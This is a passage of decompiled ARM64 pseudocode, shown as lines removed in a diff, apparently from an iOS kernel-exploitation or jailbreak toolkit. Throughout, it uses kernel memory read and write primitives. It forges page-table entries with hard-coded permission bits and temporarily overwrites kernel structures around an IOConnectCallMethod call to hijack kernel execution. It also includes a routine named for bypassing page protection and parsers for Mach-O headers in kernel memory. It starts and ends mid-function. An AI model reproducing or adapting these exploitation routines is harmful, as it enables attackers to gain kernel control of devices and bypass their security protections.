_QWORD v23[4]; // [xsp+18h] [xbp-78h] BYREF - __int64 v24; // [xsp+38h] [xbp-58h] - - v3 = *(_QWORD **)(a1 + 0x1D58); - v4 = v3[0x60]; - size[0] = 0x4000; - v5 = a2 + 0x8000000000LL; - v6 = a2 + 0x8000000000LL >= 0x1FFC001; - v7 = a2 + 0xFFE000000LL < 0x1FFC001; - v8 = v3[0x62]; - if ( v8 <= a2 && v8 + 0x2000000 > a2 ) - return 0xFFFFFFFFLL; - v13 = 0x2800FLL; - if ( (unsigned int)kreadbuf_last_1(a1, v4 + ((a2 >> 0x21) & 0x38), 8LL, (__int64)&v22) ) - { - v14 = v6 && v7; - if ( v5 >= 0x1FFC001 ) - { - if ( v14 ) - { - v15 = v3[0x61]; - if ( !v15 ) - return v13; - } - else - { - v15 = sub_18B14(); - if ( !v15 ) - return v13; - } - } - else - { - v15 = v3[0x9F]; - if ( !v15 ) - return v13; - } - v17 = v15 + ((a2 >> 0x16) & 0x3FF8); - if ( !(unsigned int)kreadbuf_last_1(a1, v17, 8LL, (__int64)&size[1]) ) - return v13; - if ( (size[1] & 1) == 0 ) - { - v18 = sub_3796C(a1, size); - if ( !v18 ) - return 0xAD009LL; - v19 = v18; - sub_2183C(a1, v18 & ~*(_QWORD *)(a1 + 0x188), (__int64)v23); - if ( v20 && (v24 & 0xFFFFFFFFC000LL) != 0 ) - { - *(_QWORD *)&size[1] = v24 & 0xFFFFFFFFC000LL | 0x460000000000603LL; - if ( (unsigned int)kwritebuf_last_1(a1, v17, (__int64)&size[1], 8LL) ) - { - if ( v14 ) - v3[0xA1] = v19; -LABEL_29: - v23[0] = a3 | 0x60000000000443LL; - if ( (unsigned int)kwritebuf_last_1(a1, v19 + ((a2 >> 0xB) & 0x3FF8), (__int64)v23, 8LL) ) - return 0LL; - else - return 0x28010LL; - } - v13 = 0x28010LL; - } - sub_36E4C(a1, v19, size[0]); - return v13; - } - if ( v5 >= 0x1FFC001 ) - { - if ( v14 ) - { - v19 = v3[0xA1]; - } - else - { - v19 = sub_18B14(); - if ( !v19 ) - return v13; - } - } - else - { - v19 = v3[0xA0]; - } - goto LABEL_29; - } - return v13; -} -// 19284: variable 'v20' is possibly undefined - -//----- (0000000000019354) ---------------------------------------------------- -__int64 __fastcall sub_19354(__int64 result, __int64 a2, int a3) -{ - _QWORD *v3; // x8 - __int64 v4; // x10 - __int64 v5; // x9 - _QWORD *v6; // x8 - - v3 = *(_QWORD **)(result + 0x1D58); - v4 = v3[0x4B]; - v5 = v3[0x4C]; - v6 = (_QWORD *)v3[0x55]; - *(_QWORD *)v4 = v5 + 0x200; - *(_DWORD *)(v4 + 0x200) = 9; - *(_DWORD *)(v4 + 0xC) = 0xA; - *(_DWORD *)(v4 + 0x20) = 1; - *(_DWORD *)(v4 + 0x28) = 1; - *(_QWORD *)(v4 + 0x2C) = v5 + 0x300; - *(_DWORD *)(v4 + 0x4C) = 0; - *(_DWORD *)(v4 + 0x70) = 0; - *(_QWORD *)(v4 + 0x300) = a2; - *(_DWORD *)(v4 + 0x310) = a3; - *(_QWORD *)(v4 + 0x400) = v5; - *(_QWORD *)(v4 + 0x498) = v5; - *(_QWORD *)(v4 + 0x4A0) = v5; - while ( *v6 ) - ; - *v6 = v5 + 0x400; - return result; -} - -//----- (00000000000193C0) ---------------------------------------------------- -__int64 __fastcall sub_193C0(__int64 a1, __int64 a2, int a3) -{ - __int64 v6; // x24 - __int64 v7; // x0 - __int64 v8; // x23 - __int64 v9; // x19 - int v10; // w8 - __int64 v11; // x9 - unsigned int v12; // w21 - kern_return_t v13; // w0 - _BYTE v15[8]; // [xsp+18h] [xbp-D8h] BYREF - __int64 v16; // [xsp+20h] [xbp-D0h] BYREF - unsigned int v17; // [xsp+2Ch] [xbp-C4h] BYREF - int v18; // [xsp+30h] [xbp-C0h] BYREF - int v19; // [xsp+34h] [xbp-BCh] BYREF - __int16 v20[2]; // [xsp+38h] [xbp-B8h] BYREF - unsigned int v21; // [xsp+3Ch] [xbp-B4h] BYREF - __int64 v22; // [xsp+40h] [xbp-B0h] BYREF - __int64 v23; // [xsp+48h] [xbp-A8h] BYREF - __int64 inputStruct; // [xsp+50h] [xbp-A0h] BYREF - __int128 v25; // [xsp+58h] [xbp-98h] - __int128 v26; // [xsp+68h] [xbp-88h] - __int128 v27; // [xsp+78h] [xbp-78h] - uint64_t input; // [xsp+88h] [xbp-68h] BYREF - __int128 v29; // [xsp+90h] [xbp-60h] - __int64 v30; // [xsp+A0h] [xbp-50h] - - v23 = a2; - v6 = *(_QWORD *)(a1 + 0x1D58); - v21 = 0x4000; - v7 = sub_37210(a1, &v21); - if ( !v7 ) - return 0xAD009LL; - v8 = v7; - v9 = 0x28010LL; - v20[0] = 0x100; - if ( (unsigned int)kwritebuf_last_1(a1, v7, (__int64)v20, 2LL) ) - { - if ( !(unsigned int)kread64(a1, *(_QWORD *)(v6 + 0xE8) + *(unsigned int *)(v6 + 0xB8), &v22) - || !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xB4), 4LL, (__int64)&v19) - || !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xC4), 4LL, (__int64)&v18) - || !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xC0), 4LL, (__int64)&v17) - || !(unsigned int)kread64(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xBC), &v16) ) - { - return 0x2800FLL; - } - if ( !v16 ) - return 0xFFFFFFFFLL; - if ( (unsigned int)kreadbuf_last_1(a1, v16 + *(unsigned int *)(v6 + 0xAC), 8LL, (__int64)v15) ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x2711FFFFFFFFFFuLL ) - v10 = 0x10003; - else - v10 = 0x10002; - v11 = *(_QWORD *)(v6 + 0x98); - *(_DWORD *)v11 = v10; - *(_DWORD *)(v11 + 4) = 0x10; - *(_WORD *)(v11 + 8) = 0; - *(_OWORD *)(*(_QWORD *)(v6 + 0xA0) + 8LL) = xmmword_43200; - input = *(unsigned int *)(v6 + 0xC); - v29 = xmmword_43750; - v30 = 0x38LL; - v26 = 0u; - v27 = 0u; - v25 = 0u; - inputStruct = *(_QWORD *)(v6 + 0x1C); - v23 = a2 - v17; - if ( (unsigned int)kwrite64(a1, *(_QWORD *)(v6 + 0xE8) + *(unsigned int *)(v6 + 0xB8), v8) ) - { - if ( noppl_kwrite32(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xB4), 1) ) - { - if ( noppl_kwrite32(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xC4), a3 - 0x100) ) - { - v12 = 0x28010; - if ( (unsigned int)kwritebuf_last_1(a1, v16 + *(unsigned int *)(v6 + 0xAC), (__int64)&v23, 8LL) ) - { - v13 = IOConnectCallMethod( - *(_DWORD *)(v6 + 8), - 0x1Au, - &input, - 4u, - &inputStruct, - 0x38uLL, - 0LL, - 0LL, - 0LL, - 0LL); - v12 = v13 ? v13 | 0x80000000 : 0; - if ( !(unsigned int)kwritebuf_last_1(a1, v16 + *(unsigned int *)(v6 + 0xAC), (__int64)v15, 8LL) ) - v12 = 0x28010; - } - if ( !noppl_kwrite32(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xC4), v18) ) - v12 = 0x28010; - } - else - { - v12 = 0x28010; - } - if ( !noppl_kwrite32(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xB4), v19) ) - v12 = 0x28010; - } - else - { - v12 = 0x28010; - } - if ( (unsigned int)kwrite64(a1, *(_QWORD *)(v6 + 0xE8) + *(unsigned int *)(v6 + 0xB8), v22) ) - return v12; - else - return 0x28010LL; - } - } - else - { - return 0x2800FLL; - } - } - return v9; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); -// 2A0D0: using guessed type __int64 __fastcall kwrite64(_QWORD, _QWORD, _QWORD); -// 43200: using guessed type __int128 xmmword_43200; -// 43750: using guessed type __int128 xmmword_43750; - -//----- (000000000001972C) ---------------------------------------------------- -__int64 __fastcall validate_addr(__int64 a1, __int64 a2) -{ - if ( (a2 & 7) != 0 || (unsigned __int64)(a2 + 0x1000000000000LL) >= 0xFFFFFFFFEFFFLL ) - return 0LL; - else - return a2; -} - -//----- (000000000001974C) ---------------------------------------------------- -unsigned __int64 __fastcall validate_addr_maybe2(__int64 a1, unsigned __int64 a2) -{ - __int64 v2; // x8 - _QWORD *i; // x9 - unsigned __int64 v4; // x10 - bool v5; // zf - bool v6; // cc - - if ( a2 + 0x1000000000000LL >= 0xFFFFFFFFEFFFLL ) - { - v2 = *(unsigned int *)(a1 + 0x18A0); - if ( (_DWORD)v2 ) - { - for ( i = (_QWORD *)(a1 + 0x1A18); ; i += 3 ) - { - v4 = i[0xFFFFFFFF]; - v5 = !v4 || *i == 0LL; - v6 = v5 || v4 > a2; - if ( !v6 && *i + v4 > a2 ) - break; - if ( !--v2 ) - return 0LL; - } - } - else - { - return 0LL; - } - } - return a2; -} - -//----- (00000000000197A8) ---------------------------------------------------- -unsigned __int64 __fastcall sub_197A8(__int64 **a1) -{ - __int64 *v1; // x8 - __int64 *v2; // x9 - __int64 v3; // x12 - __int64 v4; // x10 - __int64 v5; // x10 - __int64 v6; // x11 - _QWORD *i; // x12 - unsigned __int64 v8; // x8 - unsigned __int64 v9; // x10 - - v2 = *a1; - v1 = a1[1]; - v3 = **a1; - v4 = v3 + 0x38LL * *((unsigned int *)*a1 + 0x32); - if ( (unsigned __int64)v1 - *(_QWORD *)(v4 + 0x20) >= *(_QWORD *)(v4 + 0x28) ) - { - v5 = *((unsigned int *)v2 + 2); - if ( !(_DWORD)v5 ) - return 0LL; - v6 = 0LL; - for ( i = (_QWORD *)(v3 + 0x28); (unsigned __int64)v1 - i[0xFFFFFFFF] >= *i; i += 7 ) - { - if ( v5 == ++v6 ) - return 0LL; - } - *((_DWORD *)v2 + 0x32) = v6; - } - if ( *((_BYTE *)v2 + 0x101) ) - v2 = (__int64 *)v2[0x15]; - v8 = (unsigned __int64)v1 - v2[0x1E]; - v9 = v2[0x16]; - if ( v9 > v8 || (unsigned __int64)a1[2] > v9 + v2[0x17] - v8 ) - return 0LL; - return v8; -} - -//----- (000000000001984C) ---------------------------------------------------- -__int64 sub_1984C() -{ - return 8LL; -} - -//----- (0000000000019854) ---------------------------------------------------- -__int64 __fastcall sub_19854(__int64 a1) -{ - __int64 result; // x0 - _BYTE *v3; // x9 - vm_size_t v4; // x2 - vm_address_t address; // [xsp+8h] [xbp-18h] BYREF - - if ( *(_BYTE *)(a1 + 0x101) ) - return 0LL; - v3 = *(_BYTE **)(a1 + 0x108); - if ( !v3 ) - return 4LL; - if ( !*(_QWORD *)(a1 + 0xB0) ) - return 4LL; - v4 = *(_QWORD *)(a1 + 0xB8); - if ( !v4 ) - return 4LL; - if ( (*v3 & 2) == 0 ) - return 0LL; - address = *(_QWORD *)(a1 + 0xB0); - result = vm_allocate(mach_task_self_, &address, v4, 0x4000); - if ( !(_DWORD)result ) - { - bzero( - *(void **)(a1 + 0x108), - ((*(int *)(a1 + 0x38) + *(_QWORD *)(a1 + 0xE8) - 1LL) & (unsigned __int64)-*(_DWORD *)(a1 + 0x38)) - / *(int *)(a1 + 0x38)); - return 0LL; - } - return result; -} - -//----- (00000000000198FC) ---------------------------------------------------- -__int64 __fastcall sub_198FC(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, char a5) -{ - __int64 v9; // x23 - unsigned __int64 v10; // x24 - __int64 result; // x0 - __int64 v12; // x10 - __int64 v13; // x9 - unsigned __int64 v14; // x10 - unsigned __int64 v15; // x19 - unsigned __int64 v16; // x26 - unsigned __int64 v17; // x25 - - v9 = a1; - if ( *(_BYTE *)(a1 + 0x101) ) - v9 = *(_QWORD *)(a1 + 0xA8); - v10 = *(_QWORD *)(v9 + 0xB0); - if ( v10 > a2 || a2 + a3 > *(_QWORD *)(v9 + 0xB8) + v10 ) - return 3LL; - result = 0LL; - v12 = *(int *)(v9 + 0x38); - v13 = v12 + a2 + a3; - v14 = -(int)v12; - v15 = v14 & a2; - v16 = --v13 & v14; - if ( (v13 & v14) > (v14 & a2) ) - { - v17 = *(int *)(a1 + 0x38); - while ( (*(_BYTE *)(*(_QWORD *)(v9 + 0x108) + (v15 - v10) / v17) & 1) != 0 && (a5 & 1) == 0 ) - { - v15 += v17; - if ( v16 <= v15 ) - return 0LL; - } - if ( sub_25DE8(*(_QWORD *)(v9 + 0x118)) - && sub_25734(*(_QWORD *)(v9 + 0x118)) - && (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 0x118)) > *(_DWORD *)(v9 + 0x38) - && v16 - v15 < (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 0x118)) - && a4 > a3 ) - { - v16 = (*(int *)(v9 + 0x38) + a2 + a4 - 1) & -*(_DWORD *)(v9 + 0x38); - if ( v16 > v15 + (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 0x118)) ) - v16 = v15 + (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 0x118)); - } - if ( (unsigned int)kreadbuf_last_1(*(_QWORD *)(v9 + 0x118), *(_QWORD *)(v9 + 0xE0) - v10 + v15, v16 - v15, v15) ) - { - for ( ; v15 < v16; v15 += v17 ) - *(_BYTE *)(*(_QWORD *)(v9 + 0x108) + (v15 - v10) / v17) |= 1u; - result = 0LL; - **(_BYTE **)(v9 + 0x108) |= 2u; - } - else - { - return 5LL; - } - } - return result; -} - -//----- (0000000000019AC4) ---------------------------------------------------- -__int64 __fastcall sub_19AC4(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4) -{ - return sub_198FC(a1, a2, a3, a4, 0); -} - -//----- (0000000000019ACC) ---------------------------------------------------- -unsigned __int64 __fastcall sub_19ACC(__int64 *a1, __int64 *a2) -{ - unsigned __int64 result; // x0 - unsigned int *v4; // x20 - __int64 *v5[3]; // [xsp+8h] [xbp-28h] BYREF - - v5[0] = a1; - v5[1] = a2; - v5[2] = (_QWORD *)&dword_4; - result = sub_197A8(v5); - if ( result ) - { - v4 = (unsigned int *)result; - sub_198FC((__int64)a1, result, 4uLL, 0LL, 0); - return *v4; - } - return result; -} -// 4: using guessed type int dword_4; - -//----- (0000000000019B30) ---------------------------------------------------- -unsigned __int64 __fastcall sub_19B30(__int64 *a1, __int64 *a2) -{ - unsigned __int64 result; // x0 - unsigned __int64 v4; // x20 - __int64 *v5[3]; // [xsp+8h] [xbp-28h] BYREF - - v5[0] = a1; - v5[1] = a2; - v5[2] = (_QWORD *)&dword_8; - result = sub_197A8(v5); - if ( result ) - { - v4 = result; - sub_198FC((__int64)a1, result, 8uLL, 0LL, 0); - return *(_QWORD *)v4; - } - return result; -} -// 8: using guessed type int dword_8; - -//----- (0000000000019B98) ---------------------------------------------------- -__n128 __usercall sub_19B98@(char *__s2@, __int64 a2@, _QWORD *a3@) -{ - __int64 v4; // x8 - unsigned __int64 v5; // x22 - __int64 v6; // x8 - unsigned __int64 v7; // x23 - __n128 result; // q0 - - v4 = **(_QWORD **)(a2 + 0xD0); - v5 = v4 + 0x20; - v6 = *(unsigned int *)(v4 + 0x14); - v7 = v5 + v6; - if ( v5 >= v5 + v6 ) - { -LABEL_5: - *a3 = 0LL; - a3[1] = 0LL; - a3[2] = 0LL; - } - else - { - while ( *(_DWORD *)v5 != 0x19 || strncmp((const char *)(v5 + 8), __s2, 0x10uLL) ) - { - v5 += *(unsigned int *)(v5 + 4); - if ( v5 >= v7 ) - goto LABEL_5; - } - *a3 = a2; - result = *(__n128 *)(v5 + 0x18); - *(__n128 *)(a3 + 1) = result; - } - return result; -} - -//----- (0000000000019C34) ---------------------------------------------------- -__n128 __usercall sub_19C34@(char *__s2@, __int64 a2@, const char *a3@, _QWORD *a4@) -{ - __int64 v5; // x8 - unsigned __int64 v6; // x24 - __int64 v7; // x8 - unsigned __int64 v8; // x25 - __n128 result; // q0 - __int64 v13; // x26 - __n128 *v14; // x23 - - v5 = **(_QWORD **)(a2 + 0xD0); - v6 = v5 + 0x20; - v7 = *(unsigned int *)(v5 + 0x14); - v8 = v6 + v7; - if ( v6 >= v6 + v7 ) - { -LABEL_11: - *a4 = 0LL; - a4[1] = 0LL; - a4[2] = 0LL; - } - else - { - while ( 1 ) - { - if ( *(_DWORD *)v6 == 0x19 && !strncmp((const char *)(v6 + 8), __s2, 0x10uLL) ) - { - v13 = *(unsigned int *)(v6 + 0x40); - if ( (_DWORD)v13 ) - break; - } -LABEL_4: - v6 += *(unsigned int *)(v6 + 4); - if ( v6 >= v8 ) - goto LABEL_11; - } - v14 = (__n128 *)(v6 + 0x48); - while ( strncmp((const char *)v14, a3, 0x10uLL) ) - { - v14 += 5; - if ( !--v13 ) - goto LABEL_4; - } - *a4 = a2; - result = v14[2]; - *(__n128 *)(a4 + 1) = result; - } - return result; -} - -//----- (0000000000019D10) ---------------------------------------------------- -double __usercall sub_19D10@(__int64 a1@, _QWORD *a2@) -{ - double result; // d0 - - *(_QWORD *)&result = sub_19C34((char *)*(_QWORD *)(a1 + 0x110), a1, "__text", a2).n128_u64[0]; - return result; -} - -//----- (0000000000019D20) ---------------------------------------------------- -__int64 __fastcall sub_19D20(__int64 a1, char *__s2, unsigned __int64 a3) -{ - __int64 v3; // x8 - unsigned __int64 v4; // x21 - __int64 v5; // x8 - unsigned __int64 i; // x22 - __int64 v9; // x8 - unsigned int v10; // w24 - const char *v12; // x0 - unsigned __int64 v13; // x8 - size_t v14; // x2 - - v3 = **(_QWORD **)(a1 + 0xD0); - v4 = v3 + 0x20; - v5 = *(unsigned int *)(v3 + 0x14); - for ( i = v4 + v5; v4 < i; v4 += v10 ) - { - if ( *(_DWORD *)v4 == 0x80000035 ) - { - v9 = *(unsigned int *)(v4 + 0x18); - v10 = *(_DWORD *)(v4 + 4); - if ( (unsigned int)v9 >= 0x20 && v10 > (unsigned int)v9 ) - { - v12 = (const char *)(v4 + v9); - v13 = v10 - (unsigned int)v9; - v14 = v13 <= a3 ? v13 : a3; - if ( !strncmp(v12, __s2, v14) ) - return *(_QWORD *)(v4 + 8); - } - } - else - { - v10 = *(_DWORD *)(v4 + 4); - } - } - return 0LL; -} - -//----- (0000000000019DD4) ---------------------------------------------------- -double __fastcall sub_19DD4(__int64 a1, __int64 a2) -{ - double result; // d0 - - result = 0.0; - *(_OWORD *)(a1 + 0x100) = 0u; - *(_OWORD *)(a1 + 0x110) = 0u; - *(_OWORD *)(a1 + 0xE0) = 0u; - *(_OWORD *)(a1 + 0xF0) = 0u; - *(_OWORD *)(a1 + 0xC0) = 0u; - *(_OWORD *)(a1 + 0xD0) = 0u; - *(_OWORD *)(a1 + 0xA0) = 0u; - *(_OWORD *)(a1 + 0xB0) = 0u; - *(_OWORD *)(a1 + 0x80) = 0u; - *(_OWORD *)(a1 + 0x90) = 0u; - *(_OWORD *)(a1 + 0x60) = 0u; - *(_OWORD *)(a1 + 0x70) = 0u; - *(_OWORD *)(a1 + 0x40) = 0u; - *(_OWORD *)(a1 + 0x50) = 0u; - *(_OWORD *)(a1 + 0x20) = 0u; - *(_OWORD *)(a1 + 0x30) = 0u; - *(_OWORD *)a1 = 0u; - *(_OWORD *)(a1 + 0x10) = 0u; - *(_QWORD *)(a1 + 0x118) = a2; - *(_QWORD *)(a1 + 0x120) = 0LL; - return result; -} - -//----- (0000000000019E04) ---------------------------------------------------- -__int64 __fastcall sub_19E04(__int64 a1) -{ - vm_address_t v1; // x1 - _QWORD *v2; // x19 - vm_size_t v3; // x2 - - v2 = (_QWORD *)(a1 + 0xB0); - v1 = *(_QWORD *)(a1 + 0xB0); - if ( !v1 ) - return 0LL; - v3 = *(_QWORD *)(a1 + 0xB8); - if ( !v3 || vm_deallocate(mach_task_self_, v1, v3) ) - return 0LL; - *v2 = 0LL; - v2[1] = 0LL; - return 1LL; -} - -//----- (0000000000019E58) ---------------------------------------------------- -bool __fastcall sub_19E58(__int64 a1) -{ - kern_return_t v2; // w8 - _BOOL8 result; // x0 - vm_address_t v4; // x1 - vm_size_t v5; // x2 - vm_address_t v6; // x8 - __int64 v7; // x9 - __int64 v8; // x10 - void *v9; // x0 - vm_address_t address; // [xsp+18h] [xbp-18h] BYREF - - address = 0LL; - v2 = vm_map(mach_task_self_, &address, *(_QWORD *)(a1 + 0xE8), *(int *)(a1 + 0x38) - 1LL, 1, 0, 0LL, 0, 3, 3, 1u); - result = 0LL; - if ( !v2 ) - { - v4 = *(_QWORD *)(a1 + 0xB0); - if ( v4 ) - { - v5 = *(_QWORD *)(a1 + 0xB8); - if ( v5 ) - vm_deallocate(mach_task_self_, v4, v5); - } - v6 = address; - v8 = *(_QWORD *)(a1 + 0xE0); - v7 = *(_QWORD *)(a1 + 0xE8); - *(_QWORD *)(a1 + 0xB0) = address; - *(_QWORD *)(a1 + 0xB8) = v7; - *(_QWORD *)(a1 + 0xF0) = v8 - v6; - v9 = calloc( - ((*(int *)(a1 + 0x38) + v7 - 1) & (unsigned __int64)-*(_DWORD *)(a1 + 0x38)) / *(int *)(a1 + 0x38), - 1uLL); - *(_QWORD *)(a1 + 0x108) = v9; - return v9 != 0LL; - } - return result; -} - -//----- (0000000000019F2C) ---------------------------------------------------- -__int64 __fastcall sub_19F2C(__int64 a1, __int64 a2) -{ - __int64 result; // x0 - unsigned __int64 v5; // x21 - _DWORD *v6; // x22 - char v7; // w8 - __int64 v8; // x8 - char *v9; // x21 - char *v10; // x22 - __int64 v11; // x23 - char *v12; // x24 - __int64 v13; // x8 - _QWORD *v14; // x9 - _DWORD v15[8]; // [xsp+0h] [xbp-50h] BYREF - - result = (__int64)calloc(0x48uLL, 1uLL); - *(_QWORD *)(a1 + 0xD0) = result; - if ( result ) - { - result = kreadbuf_last_1(*(_QWORD *)(a1 + 0x118), a2, 0x20LL, (__int64)v15); - if ( (_DWORD)result ) - { - v5 = v15[5] + 0x20LL; - result = (__int64)calloc(v5, 1uLL); - if ( result ) - { - v6 = (_DWORD *)result; - result = kreadbuf_last_1(*(_QWORD *)(a1 + 0x118), a2, v5, result); - if ( (_DWORD)result ) - { - **(_QWORD **)(a1 + 0xD0) = v6; - if ( *v6 == 0xFEEDFACE ) - { - v7 = 4; - } - else - { - if ( *v6 != 0xFEEDFACF ) - return 0LL; - v7 = 8; - } - *(_BYTE *)(a1 + 0x34) = v7; - v8 = (unsigned int)v6[5]; - if ( v5 < (unsigned int)(v8 + 0x20) ) - return 0LL; - v9 = (char *)(v6 + 8); - v10 = (char *)v6 + v8 + 0x20; - if ( v9 >= v10 ) - { - return 1LL; - } - else - { - v11 = 0LL; - v12 = v9; - do - { - if ( *(_DWORD *)v12 == 0x19 && !strcmp(v12 + 8, "__TEXT") ) - v11 = a2 - *((_QWORD *)v12 + 3); - v12 += *((unsigned int *)v12 + 1); - } - while ( v12 < v10 ); - result = 1LL; - if ( v11 && v9 < v10 ) - { - result = 1LL; - do - { - if ( *(_DWORD *)v9 == 0x19 ) - { - v13 = *((unsigned int *)v9 + 0x10); - if ( (_DWORD)v13 ) - { - v14 = v9 + 0x68; - do - { - *v14 += v11; - v14 += 0xA; - --v13; - } - while ( v13 ); - } - *((_QWORD *)v9 + 3) += v11; - } - v9 += *((unsigned int *)v9 + 1); - } - while ( v9 < v10 ); - } - } - } - } - } - } - return result; -} - -//----- (000000000001A0D4) ---------------------------------------------------- -bool __fastcall sub_1A0D4(__int64 a1, int a2, __int64 a3, unsigned int a4) -{ - return (unsigned int)sub_1A0F4(a1, a2, a3, a4) != 0; -} - -//----- (000000000001A0F4) ---------------------------------------------------- -__int64 __fastcall sub_1A0F4(__int64 a1, int a2, __int64 a3, unsigned int a4) -{ - __int64 result; // x0 - __int64 v9; // x23 - int *v10; // x9 - __int64 v11; // x24 - unsigned __int64 v12; // x10 - unsigned __int64 v13; // x11 - unsigned int v16; // w8 - unsigned __int64 v17; // x14 - int v18; // w16 - unsigned int v19; // w15 - unsigned __int64 v20; // x25 - unsigned __int64 v21; // x24 - __int64 v22; // x22 - __int128 v23; // q0 - __int128 v24; // q0 - __int64 v25; // x8 - int8x16_t *v26; // x8 - int8x16_t *v27; // x27 - __int64 v28; // x8 - int8x16_t *v29; // x24 - unsigned __int64 v30; // x26 - int v31; // w22 - int v32; // w23 - unsigned __int64 v33; // x28 - __int64 v34; // x8 - unsigned __int64 v35; // x8 - unsigned __int64 v36; // x8 - __int64 v38; // x8 - int8x16_t v39; // q1 - unsigned __int64 v40; // x8 - unsigned __int64 v41; // x9 - bool v42; // cf - unsigned __int64 v43; // x9 - __int64 v44; // [xsp+0h] [xbp-70h] - _QWORD v45[3]; // [xsp+8h] [xbp-68h] BYREF - - result = sub_19F2C(a1, a3); - if ( !(_DWORD)result ) - return result; - *(_DWORD *)(a1 + 0xD8) = a2; - *(_BYTE *)(a1 + 0x100) = 1; - v9 = **(_QWORD **)(a1 + 0xD0); - v10 = (int *)(v9 + 0x20); - v11 = *(unsigned int *)(v9 + 0x14); - v12 = v9 + 0x20 + v11; - v13 = v12 - 8; - if ( v9 + 0x20 >= v12 || v9 + 0x28 > v12 || (unsigned __int64)v10 > v13 ) - return 0LL; - v16 = 0; - do - { - v17 = (unsigned int)v10[1]; - if ( (unsigned int)v17 < 8 || v12 - (unsigned __int64)v10 < v17 ) - break; - v18 = *v10; - v19 = 0x18; - if ( *v10 <= 0xA ) - { - switch ( v18 ) - { - case 0x8000001F: - goto LABEL_26; - case 0x80000022: -LABEL_24: - v19 = 0x30; - goto LABEL_26; - case 2: - goto LABEL_26; - } - } - else if ( v18 > 0x18 ) - { - if ( v18 == 0x22 ) - goto LABEL_24; - if ( v18 == 0x19 ) - { - ++v16; - v19 = 0x48; - goto LABEL_26; - } - } - else - { - if ( v18 == 0xB ) - { - v19 = 0x50; -LABEL_26: - if ( (unsigned int)v17 < v19 ) - break; - goto LABEL_27; - } - if ( v18 == 0xD ) - goto LABEL_26; - } -LABEL_27: - v10 = (int *)((char *)v10 + v17); - } - while ( (unsigned __int64)v10 < v12 && (unsigned __int64)(v10 + 2) <= v12 && (unsigned __int64)v10 <= v13 ); - if ( !v16 ) - return 0LL; - *(_DWORD *)(a1 + 8) = v16; - result = (__int64)malloc(0x38LL * v16); - *(_QWORD *)a1 = result; - if ( !result ) - return result; - *(_QWORD *)(a1 + 0x110) = "__TEXT"; - v20 = v9 + 0x20; - v21 = v9 + 0x20 + v11; - if ( v9 + 0x20 < v21 ) - { - v22 = result; - do - { - if ( *(_DWORD *)v20 == 0x19 ) - { - if ( *(unsigned int *)(v20 + 0x40) > ((unsigned __int64)*(unsigned int *)(v20 + 4) - 0x48) / 0x50 ) - return 0LL; - if ( !strcmp((const char *)(v20 + 8), "__TEXT_EXEC") ) - *(_QWORD *)(a1 + 0x110) = "__TEXT_EXEC"; - v23 = *(_OWORD *)(v20 + 0x28); - *(_QWORD *)v22 = a1; - *(_OWORD *)(v22 + 8) = v23; - v24 = *(_OWORD *)(v20 + 0x18); - *(_QWORD *)(v22 + 0x18) = a1; - *(_OWORD *)(v22 + 0x20) = v24; - *(_QWORD *)(v22 + 0x30) = v20; - v22 += 0x38LL; - } - v20 += *(unsigned int *)(v20 + 4); - } - while ( v20 < v21 ); - v9 = **(_QWORD **)(a1 + 0xD0); - } - *(int32x2_t *)(a1 + 0x28) = vrev64_s32(*(int32x2_t *)(v9 + 4)); - *(_DWORD *)(a1 + 0x30) = *(_DWORD *)(v9 + 0x18); - if ( (a4 & 0x100) != 0 ) - { - sub_19C34("__TEXT", a1, "__thread_starts", v45); - if ( v45[2] ) - *(_BYTE *)(a1 + 0x9C) = 1; - if ( (a4 & 0x400) != 0 ) - { - if ( *(_QWORD *)a1 ) - { - v25 = *(_QWORD *)(*(_QWORD *)a1 + 8LL); - if ( v25 ) - *(_QWORD *)(a1 + 0xA0) = a3 - v25; - } - } - } - if ( (a4 & 0x40) != 0 ) - return 1LL; - v26 = **(int8x16_t ***)(a1 + 0xD0); - v27 = v26 + 2; - v28 = v26[1].u32[1]; - v29 = (int8x16_t *)((char *)v27 + v28); - if ( v27 >= (int8x16_t *)&v27->i8[v28] ) - return 0LL; - v30 = 0LL; - v31 = 0; - v44 = *(int *)(a1 + 0x38) - 1LL; - v32 = a4 & 0x580; - v33 = a3; - while ( 2 ) - { - if ( v27->i32[0] == 0x19 ) - { - if ( !strcmp(&v27->i8[8], "__TEXT") ) - { - *(_QWORD *)(a1 + 0xF8) = a3 - v27[1].i64[1]; - if ( (a4 & 0x100) != 0 ) - goto LABEL_54; - } - else if ( (a4 & 0x100) != 0 ) - { -LABEL_54: - if ( !strcmp(&v27->i8[8], "__KLD") ) - v31 = 1; - } - if ( v32 != 0x180 ) - { - v34 = v27[2].i64[0]; - if ( v34 ) - { - v35 = v27[1].i64[1] + v34; - if ( v35 > v30 ) - v30 = v35; - } - } - if ( (a4 & 0x400) != 0 && v27[2].i64[0] ) - { - v36 = v27[1].u64[1]; - if ( v36 < v33 && v36 != 0 ) - v33 = v27[1].u64[1]; - } - if ( !strcmp(&v27->i8[8], "__LINKEDIT") ) - { - v38 = v27[1].i64[1]; - v39 = vextq_s8(v27[2], v27[2], 8uLL); - if ( v32 == 0x180 ) - v30 = v27[2].i64[0] + v38; - *(_QWORD *)(a1 + 0x10) = v38; - *(int8x16_t *)(a1 + 0x18) = v39; - } - } - v27 = (int8x16_t *)((char *)v27 + (unsigned int)v27->i32[1]); - if ( v27 < v29 ) - continue; - break; - } - result = 0LL; - if ( 